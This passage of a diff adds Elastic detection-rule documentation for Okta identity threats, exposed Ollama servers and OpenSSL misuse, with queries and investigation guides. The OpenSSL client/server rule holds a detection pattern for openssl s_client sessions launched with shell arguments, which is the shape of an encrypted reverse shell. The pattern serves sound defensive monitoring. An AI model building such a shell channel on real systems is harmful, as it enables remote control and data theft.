+** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-threatinsight-threat-suspected-promotion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-threatinsight-threat-suspected-promotion.asciidoc new file mode 100644 index 0000000000..b4dceaeb81 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-threatinsight-threat-suspected-promotion.asciidoc @@ -0,0 +1,75 @@ +[[prebuilt-rule-8-19-34-okta-threatinsight-threat-suspected-promotion]] +=== Okta ThreatInsight Threat Suspected Promotion + +Okta ThreatInsight is a feature that provides valuable debug data regarding authentication and authorization processes, which is logged in the system. Within this data, there is a specific field called threat_suspected, which represents Okta's internal evaluation of the authentication or authorization workflow. When this field is set to True, it suggests the presence of potential credential access techniques, such as password-spraying, brute-forcing, replay attacks, and other similar threats. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://help.okta.com/en-us/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.html +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for Okta ThreatInsight suspected threat events, which are alertable events per the vendor. +Consult vendor documentation on interpreting specific events. + +==== Setup + + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and (event.action:security.threat.detected or okta.debug_context.debug_data.threat_suspected: true) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-assigned-administrator-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-assigned-administrator-role.asciidoc new file mode 100644 index 0000000000..5baba68fab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-assigned-administrator-role.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-okta-user-assigned-administrator-role]] +=== Okta User Assigned Administrator Role + +Identifies when an administrator role is assigned to an Okta user or group. Adversaries may assign administrator privileges to compromised accounts to establish persistence, escalate privileges, and maintain long-term access to the environment. This detection monitors for both user-level and group-level administrator privilege grants, which can be used to bypass security controls and perform unauthorized administrative actions. + +*Rule type*: query + +*Rule indices*: + +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Domain: Identity +* Data Source: Okta +* Data Source: Okta System Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Assigned Administrator Role* + + +Okta administrator roles provide elevated permissions to manage users, applications, policies, and security settings within the Okta environment. Adversaries who compromise Okta accounts may assign administrator privileges to establish persistence and maintain control over the identity infrastructure. This rule detects when administrator roles are granted to users or groups, which can indicate privilege escalation or persistence techniques. + + +*Possible investigation steps:* + +- Identify the actor who performed the privilege grant by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the target user or group that received administrator privileges by reviewing the `okta.target` fields. +- Review the specific administrator role granted by examining the `okta.debug_context.debug_data.flattened.privilegeGranted` field. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Check if the source IP is associated with known malicious activity, VPN/proxy services, or unusual geolocations. +- Examine the `okta.request.ip_chain` field to determine if the actor used a proxy or VPN. +- Review the actor's recent authentication history and session activity for suspicious patterns. +- Verify whether the privilege grant was part of a legitimate change request or administrative workflow. +- Check for any other suspicious activities performed by the actor or target account around the same time. +- Review audit logs for any administrative actions performed after the privilege grant. + + +*False positive analysis:* + +- Legitimate administrators may assign roles during normal IT operations such as onboarding, role changes, or incident response. +- Automated provisioning systems or service accounts may assign administrator roles as part of authorized workflows. +- During organizational changes or access certification processes, multiple role assignments may occur. +- Create exceptions for known administrators, service accounts, or specific groups that regularly perform legitimate role assignments. + + +*Response and remediation:* + +- If the privilege grant is unauthorized, immediately revoke the administrator role from the affected user or group. +- Reset credentials and revoke active sessions for both the actor and target accounts if compromise is suspected. +- Enforce multi-factor authentication (MFA) re-enrollment for affected accounts. +- Review all administrative actions performed by the target account after the privilege grant. +- Check for other indicators of compromise such as unauthorized MFA device registrations, policy modifications, or suspicious authentication patterns. +- Alert security leadership and identity management teams about the unauthorized privilege escalation. +- Review and strengthen privileged access management controls, including requiring approval workflows for administrator role assignments. +- Consider implementing anomaly detection for administrator role assignments from unusual sources or at unusual times. +- If broader compromise is suspected, conduct a comprehensive security investigation including forensic analysis of Okta audit logs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system + and event.action: (user.account.privilege.grant or group.privilege.grant) + and okta.debug_context.debug_data.flattened.privilegeGranted: *administrator* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-session-impersonation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-session-impersonation.asciidoc new file mode 100644 index 0000000000..fd25479fe1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-session-impersonation.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-okta-user-session-impersonation]] +=== Okta User Session Impersonation + +A user has initiated a session impersonation granting them access to the environment with the permissions of the user they are impersonating. This would likely indicate Okta administrative access and should only ever occur if requested and expected. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://www.elastic.co/security-labs/okta-and-lapsus-what-you-need-to-know + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Session Impersonation* + + +The detection of an Okta User Session Impersonation indicates that a user has initiated a session impersonation which grants them access with the permissions of the user they are impersonating. This type of activity typically indicates Okta administrative access and should only ever occur if requested and expected. + + +*Possible investigation steps* + + +- Identify the actor associated with the impersonation event by checking the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields. +- Review the `event.action` field to confirm the initiation of the impersonation event. +- Check the `event.time` field to understand the timing of the event. +- Check the `okta.target.id`, `okta.target.type`, `okta.target.alternate_id`, or `okta.target.display_name` to identify the user who was impersonated. +- Review any activities that occurred during the impersonation session. Look for any activities related to the impersonated user's account during and after the impersonation event. + + +*False positive analysis* + + +- Verify if the session impersonation was part of an approved activity. Check if it was associated with any documented administrative tasks or troubleshooting efforts. +- Ensure that the impersonation session was initiated by an authorized individual. You can check this by verifying the `okta.actor.id` or `okta.actor.display_name` against the list of approved administrators. + + +*Response and remediation* + + +- If the impersonation was not authorized, consider it as a breach. Suspend the user account of the impersonator immediately. +- Reset the user session and invalidate any active sessions related to the impersonated user. +- If a specific impersonation technique was used, ensure that systems are patched or configured to prevent such techniques. +- Conduct a thorough investigation to understand the extent of the breach and the potential impact on the systems and data. +- Review and update your security policies to prevent such incidents in the future. +- Implement additional monitoring and logging of Okta events to improve visibility of user actions. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:user.session.impersonation.initiate + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-sessions-started-from-different-geolocations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-sessions-started-from-different-geolocations.asciidoc new file mode 100644 index 0000000000..d93b1a346d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-user-sessions-started-from-different-geolocations.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-okta-user-sessions-started-from-different-geolocations]] +=== Okta User Sessions Started from Different Geolocations + +Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Okta +* Domain: Identity + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Sessions Started from Different Geolocations* + + +This rule detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. + + +*Possible investigation steps:* + +- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.id` values can be used to pivot into the raw authentication events related to this alert. +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. + - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- It is very rare that a legitimate user would have multiple sessions started from different geo-located countries in a short time frame. + + +*Response and remediation:* + +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule. + - This should be done with caution as it may prevent legitimate alerts from being generated. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta* +| where + data_stream.dataset == "okta.system" and + (event.action like "user.authentication.*" or event.action == "user.session.start") and + okta.security_context.is_proxy != true and + okta.actor.id != "unknown" and + event.outcome == "success" +| keep + event.action, + okta.security_context.is_proxy, + okta.actor.id, + okta.actor.alternate_id, + event.outcome, + client.geo.country_name +| stats + Esql.client_geo_country_name_count_distinct = count_distinct(client.geo.country_name) + by okta.actor.id, okta.actor.alternate_id +| where + Esql.client_geo_country_name_count_distinct >= 2 +| sort + Esql.client_geo_country_name_count_distinct desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ollama-api-accessed-from-external-network.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ollama-api-accessed-from-external-network.asciidoc new file mode 100644 index 0000000000..8bb0ba2397 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ollama-api-accessed-from-external-network.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-ollama-api-accessed-from-external-network]] +=== Ollama API Accessed from External Network + +Detects when the Ollama LLM server accepts connections from external IP addresses. Ollama lacks built-in authentication, so exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.greynoise.io/blog/threat-actors-actively-targeting-llms +* https://atlas.mitre.org/techniques/AML.T0040 +* https://atlas.mitre.org/techniques/AML.T0044 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0040 +* Mitre Atlas: T0044 +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Ollama API Accessed from External Network* + + +This rule detects when Ollama accepts connections from external IP addresses. Ollama binds to localhost:11434 by default but can be exposed via OLLAMA_HOST. Since Ollama lacks authentication, exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. + + +*Possible investigation steps* + + +- Check the OLLAMA_HOST environment variable to determine if external exposure was intentional. +- Review the source IP address to identify if it's a known attacker, scanner, or miscategorized internal system. +- Examine Ollama logs for suspicious API calls to /api/pull, /api/push, or /api/generate. +- Check ~/.ollama/models/ for unexpected model downloads that may indicate model poisoning. +- Review network traffic for data exfiltration following the connection. +- Look for child processes spawned by Ollama that may indicate exploitation. + + +*False positive analysis* + + +- Internal networks not properly classified in CIDR ranges may trigger false positives. +- Load balancers or reverse proxies accessing Ollama from external-facing IPs within trusted infrastructure. +- Legitimate remote access through VPN or authenticated proxy (add proxy IPs to exclusions). + + +*Response and remediation* + + +- Restrict access immediately by setting OLLAMA_HOST=127.0.0.1:11434 or applying firewall rules. +- If exploitation is suspected, stop Ollama and audit ~/.ollama/models/ for unauthorized models. +- Review Ollama and system logs for signs of compromise. +- Consider running Ollama in a container with network isolation. + + +==== Rule query + + +[source, js] +---------------------------------- +network where event.action == "connection_accepted" and + process.name in ("ollama", "ollama.exe") and + destination.port == 11434 and + source.ip != null and source.ip != "0.0.0.0" and + not cidrmatch(source.ip, + "10.0.0.0/8", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.168.0.0/16", + "100.64.0.0/10", + "::1", + "fe80::/10", + "fc00::/7", + "ff00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-openssl-client-or-server-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-openssl-client-or-server-activity.asciidoc new file mode 100644 index 0000000000..dee2daaf11 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-openssl-client-or-server-activity.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-openssl-client-or-server-activity]] +=== Openssl Client or Server Activity + +This rule identifies when the openssl client or server is used to establish a connection. Attackers may use openssl to establish a secure connection to a remote server or to create a secure server to receive connections. This activity may be used to exfiltrate data or establish a command and control channel. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/gtfobins/openssl/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Openssl Client or Server Activity* + + +OpenSSL is a widely-used toolkit for implementing secure communication via SSL/TLS protocols. In Linux environments, it can function as a client or server to encrypt data transmissions. Adversaries may exploit OpenSSL to establish encrypted channels for data exfiltration or command and control. The detection rule identifies suspicious OpenSSL usage by monitoring process execution patterns, specifically targeting atypical client-server interactions, while excluding known benign processes. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "openssl" process with arguments indicating client or server activity, such as "s_client" with "-connect" or "s_server" with "-port". +- Check the parent process of the "openssl" execution to determine if it is a known benign process or if it is potentially suspicious, especially if it is not in the excluded list (e.g., "/pro/xymon/client/ext/awsXymonCheck.sh", "/opt/antidot-svc/nrpe/plugins/check_cert"). +- Investigate the network connections established by the "openssl" process to identify the remote server's IP address and port, and assess whether these are known or potentially malicious. +- Analyze the timing and frequency of the "openssl" executions to determine if they align with normal operational patterns or if they suggest unusual or unauthorized activity. +- Correlate the "openssl" activity with other security events or logs to identify any related suspicious behavior, such as data exfiltration attempts or command and control communications. + + +*False positive analysis* + + +- Known benign processes such as "/pro/xymon/client/ext/awsXymonCheck.sh" and "/opt/antidot-svc/nrpe/plugins/check_cert" are already excluded to reduce false positives. Ensure these paths are accurate and up-to-date in your environment. +- Regularly review and update the list of excluded parent processes to include any additional internal scripts or monitoring tools that frequently use OpenSSL for legitimate purposes. +- Monitor for any internal applications or services that may use OpenSSL in a similar manner and consider adding them to the exclusion list if they are verified as non-threatening. +- Implement logging and alerting to track the frequency and context of OpenSSL usage, which can help identify patterns that are consistently benign and warrant exclusion. +- Engage with system administrators to understand routine OpenSSL usage patterns in your environment, which can inform further refinement of the detection rule to minimize false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration or command and control activities. +- Terminate the suspicious OpenSSL process identified by the alert to halt any ongoing unauthorized encrypted communications. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unusual network connections or unauthorized file access. +- Review and update firewall rules to block unauthorized outbound connections from the affected system, focusing on the ports and IP addresses involved in the suspicious activity. +- Reset credentials and review access permissions for accounts on the affected system to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Implement enhanced monitoring and logging for OpenSSL usage across the network to detect similar activities in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.name == "openssl" and ( + ( + process.args == "s_client" and process.args : ("-connect", "*:*") and + process.args in ( + "sh", "dash", "bash", "zsh", + "/bin/sh", "/bin/dash", "/bin/bash", "/bin/zsh", + "/usr/bin/sh", "/usr/bin/dash", "/usr/bin/bash", "/usr/bin/zsh", + "/usr/local/bin/sh", "/usr/local/bin/dash", "/usr/local/bin/bash", "/usr/local/bin/zsh" + ) and not process.args == "-showcerts" + ) or + (process.args == "s_server" and process.args == "-port") +) and +not process.parent.executable in ( + "/pro/xymon/client/ext/awsXymonCheck.sh", "/opt/antidot-svc/nrpe/plugins/check_cert", "/etc/zabbix/scripts/check_dane_tlsa.sh" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ +* Sub-technique: +** Name: Asymmetric Cryptography +** ID: T1573.002 +** Reference URL: https://attack.mitre.org/techniques/T1573/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-openssl-password-hash-generation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-openssl-password-hash-generation.asciidoc new file mode 100644 index 0000000000..3c150f0ec7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-openssl-password-hash-generation.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-openssl-password-hash-generation]] +=== OpenSSL Password Hash Generation + +This rule detects the usage of the "openssl" binary to generate password hashes on Linux systems. The "openssl" command is a cryptographic utility that can be used to generate password hashes. Attackers may use "openssl" to generate password hashes for new user accounts or to change the password of existing accounts, which can be leveraged to maintain persistence on a Linux system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + 